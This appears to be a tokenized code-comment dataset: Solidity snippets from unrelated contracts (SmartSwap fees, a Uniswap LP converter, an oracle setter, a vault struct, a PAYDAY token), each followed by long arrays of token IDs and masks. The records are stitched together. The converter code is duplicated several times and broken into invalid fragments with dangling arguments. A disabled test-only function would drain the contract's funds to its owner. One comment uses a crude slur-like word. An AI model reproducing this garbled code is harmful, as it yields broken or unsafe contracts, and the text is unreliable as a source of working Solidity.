uint256 licenseeFeeRate = IReimbursement(contractSmart).getLicenseeFee(licensee, address(this));
if (licenseeFeeRate != 0 && fee != 0) {
if (tokenA < NATIVE_COINS) {
licenseeFeeAmount = amount * licenseeFeeRate / 10000;
} else {
licenseeFeeAmount = (fee * licenseeFeeRate)/(licenseeFeeRate + _companyFee);
companyFeeAmount = fee - licenseeFeeAmount;
}
}
}
if (fee >= companyFeeAmount + licenseeFeeAmount) {
companyFeeAmount = fee - licenseeFeeAmount;
} else {
revert("Insuficiant fee");
}
if (licenseeFeeAmount != 0) {
address licenseeFeeTo = IReimbursement(contractSmart).requestReimbursement(user, licenseeFeeAmount, licensee);
if (licenseeFeeTo == address(0)) {
TransferHelper.safeTransferETH(user, licenseeFeeAmount); // refund to user
} else {
TransferHelper.safeTransferETH(licenseeFeeTo, licenseeFeeAmount); // transfer to fee receiver
}
}
collectedFees += companyFeeAmount;
collectedProcessingFee += _processingFee;
if(!isExcludedSender[user]) {
txGas -= gasleft(); // get gas amount that was spent on Licensee fee
feeAmount = (companyFeeAmount * companyFeeReimbursement + (_processingFee + (txGas + 73000)*tx.gasprice) * swapGasReimbursement) / 100;
if (feeAmount != 0)
IReimbursement(contractSmart).requestReimbursement(user, feeAmount, reimbursementVault);
}
}
// contribute from SmartSwap on user behalf
function _contributeFromSmartSwap(address token, address to, address user, uint256 value) internal {
if (token < NATIVE_COINS) {
IAuction(to).contributeFromSmartSwap{value: value}(payable(user));
} else {
IERC20(token).approve(to, value);
IAuction(to).contributeFromSmartSwap(token, value, user);
}
}
// call appropriate transfer function
function _transfer(address token, address to, uint256 value) internal {
if (token < NATIVE_COINS)
TransferHelper.safeTransferETH(to, value);
else
TransferHelper.safeTransfer(token, to, value);
}
// encode 64 bits of rate (decimal = 9). and 192 bits of amount
// into uint256 where high 64 bits is rate and low 192 bit is amount
// rate = foreign token price / native token price
function _encode(uint256 rate, uint256 amount) internal pure returns(uint256 encodedBalance) {
require(amount < MAX_AMOUNT, "Amount overflow");
require(rate < MAX_AMOUNT, "Rate overflow");
encodedBalance = rate * MAX_AMOUNT + amount;
}
// decode from uint256 where high 64 bits is rate and low 192 bit is amount
// rate = foreign token price / native token price
function _decode(uint256 encodedBalance) internal pure returns(uint256 rate, uint256 amount) {
rate = encodedBalance / MAX_AMOUNT;
amount = uint128(encodedBalance);
}
function _getHashAddress(
address tokenA,
address tokenB,
address sender,
address receiver
)
internal
pure
returns (address)
{
return address(uint160(uint256(keccak256(abi.encodePacked(tokenA, tokenB, sender, receiver)))));
}
/**
* @dev Deploys and returns the address of a clone that mimics the behavior of `implementation`.
*
* This function uses the create opcode, which should never revert.
*/
function clone(address implementation) internal returns (address instance) {
assembly {
let ptr := mload(0x40)
mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000)
mstore(add(ptr, 0x14), shl(0x60, implementation))
mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000)
instance := create(0, ptr, 0x37)
}
require(instance != address(0), "ERC1167: create failed");
}
/*// ============================= START for TEST only =============================================================
function reset(uint pairID) external onlyOwner {
payable(msg.sender).transfer(address(this).balance);
collectedFees = 1;
address tokenA = getPairByID[pairID].tokenA;
if (tokenA > NATIVE_COINS) {
uint balance = IERC20(tokenA).balanceOf(address(this));
TransferHelper.safeTransfer(tokenA, msg.sender, balance);
}
address nativeHash = _getHashAddress(tokenA, getPairByID[pairID].tokenB, address(0), address(0));
address foreignHash = _getHashAddress(getPairByID[pairID].tokenB, tokenA, address(0), address(0));
_balanceOf[nativeHash] = 0;
_balanceOf[foreignHash] = 0;
totalSupply[pairID] = 0;
}
function clearBalances(uint pairID, address[] calldata users) external onlyOwner {
address tokenA = getPairByID[pairID].tokenA;
address tokenB = getPairByID[pairID].tokenB;
for (uint i = 0; i < users.length; i++) {
_balanceOf[users[i]] = 0;
delete claimRequest[users[i]];
address hashAddress = _getHashAddress(tokenA, tokenB, users[i], users[i]);
_balanceOf[hashAddress] = 0;
delete claimRequest[hashAddress];
hashAddress = _getHashAddress(tokenB, tokenA, users[i], users[i]);
_balanceOf[hashAddress] = 0;
delete claimRequest[hashAddress];
}
}
*/// =============================== END for TEST only =============================================================
} | user should approve tokens transfer before calling this function.if no licensee set it to address(0) | function swap(
)
external
payable
returns (bool)
{
_transferFee(tokenA, amountA, fee, msg.sender, licensee);
_swap(tokenA, tokenB, msg.sender, receiver, amountA, isInvestment, minimumAmountToClaim, limitPice);
return true;
}
| 477,524 | [
1,
1355,
1410,
6617,
537,
2430,
7412,
1865,
4440,
333,
445,
18,
430,
1158,
8630,
73,
444,
518,
358,
1758,
12,
20,
13,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
7720,
12,
203,
565,
262,
203,
3639,
3903,
203,
3639,
8843,
429,
203,
3639,
1135,
261,
6430,
13,
203,
565,
288,
203,
3639,
389,
13866,
14667,
12,
2316,
37,
16,
3844,
37,
16,
14036,
16,
1234,
18,
15330,
16,
8630,
73,
1769,
203,
3639,
389,
22270,
12,
2316,
37,
16,
1147,
38,
16,
1234,
18,
15330,
16,
5971,
16,
3844,
37,
16,
353,
3605,
395,
475,
16,
5224,
6275,
774,
9762,
16,
1800,
52,
1812,
1769,
203,
3639,
327,
638,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/42220/0x9BD3829315A2F076a7702885c3D0aE9184B76643/sources/contracts/interfaces/IVaultChefCore.sol | @notice A vault is a strategy users can stake underlying tokens in to receive a share of the vault value. | struct Vault {
IERC20 underlyingToken;
IStrategy strategy;
bool paused;
bool panicked;
uint256 panicTimestamp;
uint256 lastHarvestTimestamp;
uint256 performanceFeeBP;
| 16,326,176 | [
1,
37,
9229,
353,
279,
6252,
3677,
848,
384,
911,
6808,
2430,
316,
358,
6798,
279,
7433,
434,
326,
9229,
460,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
1958,
17329,
288,
203,
3639,
467,
654,
39,
3462,
6808,
1345,
31,
203,
3639,
467,
4525,
6252,
31,
203,
3639,
1426,
17781,
31,
203,
3639,
1426,
2800,
1200,
329,
31,
203,
3639,
2254,
5034,
3933,
4921,
31,
203,
3639,
2254,
5034,
1142,
44,
297,
26923,
4921,
31,
203,
3639,
2254,
5034,
9239,
14667,
30573,
31,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/1/0x153D01e1e2d882EADfe884624623b3E7f88668AF/sources/browser/PickleJars/Strategy-Converter/UniUniConverter.sol | usdt is not a standard erc20, gay Converts Uni LP tokens to Uni LP tokens | contract UniUniConverter {
address constant univ2Router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address constant weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address constant usdt = 0xdAC17F958D2ee523a2206206994597C13D831ec7;
function convert(
address _refundExcess,
address _fromWant,
address _toWant,
uint256 _wantAmount
) external returns (uint256) {
IERC20(_fromWant).transferFrom(msg.sender, address(this), _wantAmount);
IERC20(_fromWant).approve(univ2Router, _wantAmount);
UniswapRouterV2(univ2Router).removeLiquidity(
IUniswapV2Pair(_fromWant).token0(),
IUniswapV2Pair(_fromWant).token1(),
_wantAmount,
0,
0,
address(this),
now + 60
);
address fromStablecoin = IUniswapV2Pair(_fromWant).token0() == weth
? IUniswapV2Pair(_fromWant).token1()
: IUniswapV2Pair(_fromWant).token0();
address toStablecoin = IUniswapV2Pair(_toWant).token0() == weth
? IUniswapV2Pair(_toWant).token1()
: IUniswapV2Pair(_toWant).token0();
if (fromStablecoin != usdt) {
IERC20(fromStablecoin).approve(
univ2Router,
IERC20(fromStablecoin).balanceOf(address(this))
);
USDT(fromStablecoin).approve(
univ2Router,
IERC20(fromStablecoin).balanceOf(address(this))
);
}
UniswapRouterV2(univ2Router).swapExactTokensForTokens(
IERC20(fromStablecoin).balanceOf(address(this)),
0,
_getPath(fromStablecoin, weth, toStablecoin),
address(this),
now + 60
);
univ2Router,
IERC20(weth).balanceOf(address(this))
);
if (toStablecoin != usdt) {
IERC20(toStablecoin).approve(
univ2Router,
IERC20(toStablecoin).balanceOf(address(this))
);
USDT(toStablecoin).approve(
univ2Router,
IERC20(toStablecoin).balanceOf(address(this))
);
}
(, , uint256 liquidity) = UniswapRouterV2(univ2Router).addLiquidity(
weth,
toStablecoin,
IERC20(weth).balanceOf(address(this)),
IERC20(toStablecoin).balanceOf(address(this)),
0,
0,
msg.sender,
now + 60
);
_refundExcess,
IERC20(weth).balanceOf(address(this))
);
if (toStablecoin != usdt) {
IERC20(toStablecoin).transfer(
_refundExcess,
IERC20(toStablecoin).balanceOf(address(this))
);
USDT(toStablecoin).transfer(
_refundExcess,
IERC20(toStablecoin).balanceOf(address(this))
);
}
return liquidity;
}
) external returns (uint256) {
IERC20(_fromWant).transferFrom(msg.sender, address(this), _wantAmount);
IERC20(_fromWant).approve(univ2Router, _wantAmount);
UniswapRouterV2(univ2Router).removeLiquidity(
IUniswapV2Pair(_fromWant).token0(),
IUniswapV2Pair(_fromWant).token1(),
_wantAmount,
0,
0,
address(this),
now + 60
);
address fromStablecoin = IUniswapV2Pair(_fromWant).token0() == weth
? IUniswapV2Pair(_fromWant).token1()
: IUniswapV2Pair(_fromWant).token0();
address toStablecoin = IUniswapV2Pair(_toWant).token0() == weth
? IUniswapV2Pair(_toWant).token1()
: IUniswapV2Pair(_toWant).token0();
if (fromStablecoin != usdt) {
IERC20(fromStablecoin).approve(
univ2Router,
IERC20(fromStablecoin).balanceOf(address(this))
);
USDT(fromStablecoin).approve(
univ2Router,
IERC20(fromStablecoin).balanceOf(address(this))
);
}
UniswapRouterV2(univ2Router).swapExactTokensForTokens(
IERC20(fromStablecoin).balanceOf(address(this)),
0,
_getPath(fromStablecoin, weth, toStablecoin),
address(this),
now + 60
);
univ2Router,
IERC20(weth).balanceOf(address(this))
);
if (toStablecoin != usdt) {
IERC20(toStablecoin).approve(
univ2Router,
IERC20(toStablecoin).balanceOf(address(this))
);
USDT(toStablecoin).approve(
univ2Router,
IERC20(toStablecoin).balanceOf(address(this))
);
}
(, , uint256 liquidity) = UniswapRouterV2(univ2Router).addLiquidity(
weth,
toStablecoin,
IERC20(weth).balanceOf(address(this)),
IERC20(toStablecoin).balanceOf(address(this)),
0,
0,
msg.sender,
now + 60
);
_refundExcess,
IERC20(weth).balanceOf(address(this))
);
if (toStablecoin != usdt) {
IERC20(toStablecoin).transfer(
_refundExcess,
IERC20(toStablecoin).balanceOf(address(this))
);
USDT(toStablecoin).transfer(
_refundExcess,
IERC20(toStablecoin).balanceOf(address(this))
);
}
return liquidity;
}
} else {
IERC20(weth).approve(
) external returns (uint256) {
IERC20(_fromWant).transferFrom(msg.sender, address(this), _wantAmount);
IERC20(_fromWant).approve(univ2Router, _wantAmount);
UniswapRouterV2(univ2Router).removeLiquidity(
IUniswapV2Pair(_fromWant).token0(),
IUniswapV2Pair(_fromWant).token1(),
_wantAmount,
0,
0,
address(this),
now + 60
);
address fromStablecoin = IUniswapV2Pair(_fromWant).token0() == weth
? IUniswapV2Pair(_fromWant).token1()
: IUniswapV2Pair(_fromWant).token0();
address toStablecoin = IUniswapV2Pair(_toWant).token0() == weth
? IUniswapV2Pair(_toWant).token1()
: IUniswapV2Pair(_toWant).token0();
if (fromStablecoin != usdt) {
IERC20(fromStablecoin).approve(
univ2Router,
IERC20(fromStablecoin).balanceOf(address(this))
);
USDT(fromStablecoin).approve(
univ2Router,
IERC20(fromStablecoin).balanceOf(address(this))
);
}
UniswapRouterV2(univ2Router).swapExactTokensForTokens(
IERC20(fromStablecoin).balanceOf(address(this)),
0,
_getPath(fromStablecoin, weth, toStablecoin),
address(this),
now + 60
);
univ2Router,
IERC20(weth).balanceOf(address(this))
);
if (toStablecoin != usdt) {
IERC20(toStablecoin).approve(
univ2Router,
IERC20(toStablecoin).balanceOf(address(this))
);
USDT(toStablecoin).approve(
univ2Router,
IERC20(toStablecoin).balanceOf(address(this))
);
}
(, , uint256 liquidity) = UniswapRouterV2(univ2Router).addLiquidity(
weth,
toStablecoin,
IERC20(weth).balanceOf(address(this)),
IERC20(toStablecoin).balanceOf(address(this)),
0,
0,
msg.sender,
now + 60
);
_refundExcess,
IERC20(weth).balanceOf(address(this))
);
if (toStablecoin != usdt) {
IERC20(toStablecoin).transfer(
_refundExcess,
IERC20(toStablecoin).balanceOf(address(this))
);
USDT(toStablecoin).transfer(
_refundExcess,
IERC20(toStablecoin).balanceOf(address(this))
);
}
return liquidity;
}
} else {
IERC20(weth).transfer(
) external returns (uint256) {
IERC20(_fromWant).transferFrom(msg.sender, address(this), _wantAmount);
IERC20(_fromWant).approve(univ2Router, _wantAmount);
UniswapRouterV2(univ2Router).removeLiquidity(
IUniswapV2Pair(_fromWant).token0(),
IUniswapV2Pair(_fromWant).token1(),
_wantAmount,
0,
0,
address(this),
now + 60
);
address fromStablecoin = IUniswapV2Pair(_fromWant).token0() == weth
? IUniswapV2Pair(_fromWant).token1()
: IUniswapV2Pair(_fromWant).token0();
address toStablecoin = IUniswapV2Pair(_toWant).token0() == weth
? IUniswapV2Pair(_toWant).token1()
: IUniswapV2Pair(_toWant).token0();
if (fromStablecoin != usdt) {
IERC20(fromStablecoin).approve(
univ2Router,
IERC20(fromStablecoin).balanceOf(address(this))
);
USDT(fromStablecoin).approve(
univ2Router,
IERC20(fromStablecoin).balanceOf(address(this))
);
}
UniswapRouterV2(univ2Router).swapExactTokensForTokens(
IERC20(fromStablecoin).balanceOf(address(this)),
0,
_getPath(fromStablecoin, weth, toStablecoin),
address(this),
now + 60
);
univ2Router,
IERC20(weth).balanceOf(address(this))
);
if (toStablecoin != usdt) {
IERC20(toStablecoin).approve(
univ2Router,
IERC20(toStablecoin).balanceOf(address(this))
);
USDT(toStablecoin).approve(
univ2Router,
IERC20(toStablecoin).balanceOf(address(this))
);
}
(, , uint256 liquidity) = UniswapRouterV2(univ2Router).addLiquidity(
weth,
toStablecoin,
IERC20(weth).balanceOf(address(this)),
IERC20(toStablecoin).balanceOf(address(this)),
0,
0,
msg.sender,
now + 60
);
_refundExcess,
IERC20(weth).balanceOf(address(this))
);
if (toStablecoin != usdt) {
IERC20(toStablecoin).transfer(
_refundExcess,
IERC20(toStablecoin).balanceOf(address(this))
);
USDT(toStablecoin).transfer(
_refundExcess,
IERC20(toStablecoin).balanceOf(address(this))
);
}
return liquidity;
}
} else {
function _getPath(
address a,
address b,
address c
) internal pure returns (address[] memory) {
address[] memory path = new address[](3);
path[0] = a;
path[1] = b;
path[2] = c;
return path;
}
}
| 3,863,148 | [
1,
407,
7510,
353,
486,
279,
4529,
6445,
71,
3462,
16,
314,
528,
20377,
1351,
77,
511,
52,
2430,
358,
1351,
77,
511,
52,
2430,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
16351,
1351,
77,
984,
77,
5072,
288,
203,
565,
1758,
5381,
28772,
22,
8259,
273,
374,
92,
27,
69,
26520,
72,
4313,
5082,
38,
24,
71,
42,
25,
5520,
27,
5520,
72,
42,
22,
39,
25,
72,
37,
7358,
24,
71,
26,
6162,
42,
3247,
5482,
40,
31,
203,
203,
565,
1758,
5381,
341,
546,
273,
374,
14626,
3103,
7598,
37,
5520,
70,
3787,
23,
8090,
28,
40,
20,
37,
20,
73,
25,
39,
24,
42,
5324,
73,
1880,
29,
6840,
23,
39,
27,
4313,
39,
71,
22,
31,
203,
203,
565,
1758,
5381,
584,
7510,
273,
374,
7669,
2226,
4033,
42,
29,
8204,
40,
22,
1340,
25,
4366,
69,
27246,
26,
3462,
26,
2733,
24,
6162,
27,
39,
3437,
40,
28,
6938,
557,
27,
31,
203,
203,
565,
445,
1765,
12,
203,
3639,
1758,
389,
1734,
1074,
424,
614,
16,
203,
3639,
1758,
389,
2080,
59,
970,
16,
203,
3639,
1758,
389,
869,
59,
970,
16,
203,
3639,
2254,
5034,
389,
17369,
6275,
203,
203,
203,
203,
203,
565,
262,
3903,
1135,
261,
11890,
5034,
13,
288,
203,
3639,
467,
654,
39,
3462,
24899,
2080,
59,
970,
2934,
13866,
1265,
12,
3576,
18,
15330,
16,
1758,
12,
2211,
3631,
389,
17369,
6275,
1769,
203,
203,
3639,
467,
654,
39,
3462,
24899,
2080,
59,
970,
2934,
12908,
537,
12,
318,
427,
22,
8259,
16,
389,
17369,
6275,
1769,
203,
3639,
1351,
291,
91,
438,
8259,
58,
22,
12,
318,
427,
22,
8259,
2934,
4479,
48,
18988,
24237,
12,
203,
5411,
467,
984,
291,
91,
2
] |
./partial_match/1/0x00000000007767d79f9F4aA1Ff0d71b8E2E4a231/sources/contracts/Yolo.sol | * @param _erc20Oracle The new ERC-20 oracle address/ | function _updateERC20Oracle(address _erc20Oracle) private {
if (_erc20Oracle == address(0)) {
revert InvalidValue();
}
erc20Oracle = IPriceOracle(_erc20Oracle);
emit ERC20OracleUpdated(_erc20Oracle);
}
| 16,178,056 | [
1,
67,
12610,
3462,
23601,
1021,
394,
4232,
39,
17,
3462,
20865,
1758,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
389,
2725,
654,
39,
3462,
23601,
12,
2867,
389,
12610,
3462,
23601,
13,
3238,
288,
203,
3639,
309,
261,
67,
12610,
3462,
23601,
422,
1758,
12,
20,
3719,
288,
203,
5411,
15226,
1962,
620,
5621,
203,
3639,
289,
203,
3639,
6445,
71,
3462,
23601,
273,
2971,
3057,
23601,
24899,
12610,
3462,
23601,
1769,
203,
3639,
3626,
4232,
39,
3462,
23601,
7381,
24899,
12610,
3462,
23601,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/1/0x2fCfd723CF11f2C78E3DC4427b9179c78592CB2e/sources/PAYDAY.sol | Anti-bot and anti-whale mappings and variables | contract PAYDAY is ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
address public constant deadAddress = address(0xdead);
bool private swapping;
address public marketingwallet;
address public devWallet;
address public liqWallet;
address public operationsWallet;
address public cexWallet;
uint256 public maxTransactionAmount;
uint256 public swapTokensAtAmount;
uint256 public maxWallet;
bool public limitsInEffect = true;
bool public tradingActive = false;
bool public swapEnabled = false;
mapping(address => uint256) private _holderLastTransferTimestamp;
bool public transferDelayEnabled = true;
uint256 private launchBlock;
uint256 private deadBlocks;
mapping(address => bool) public blocked;
uint256 public buyTotalFees;
uint256 public buyMarkFee;
uint256 public buyLiquidityFee;
uint256 public buyDevFee;
uint256 public buyOperationsFee;
uint256 public sellTotalFees;
uint256 public sellMarkFee;
uint256 public sellLiquidityFee;
uint256 public sellDevFee;
uint256 public sellOperationsFee;
uint256 public tokensForMark;
uint256 public tokensForLiquidity;
uint256 public tokensForDev;
uint256 public tokensForOperations;
mapping(address => bool) private _isExcludedFromFees;
mapping(address => bool) public _isExcludedMaxTransactionAmount;
mapping(address => bool) public _isExcludedMaxWalletAmount;
mapping(address => bool) public automatedMarketMakerPairs;
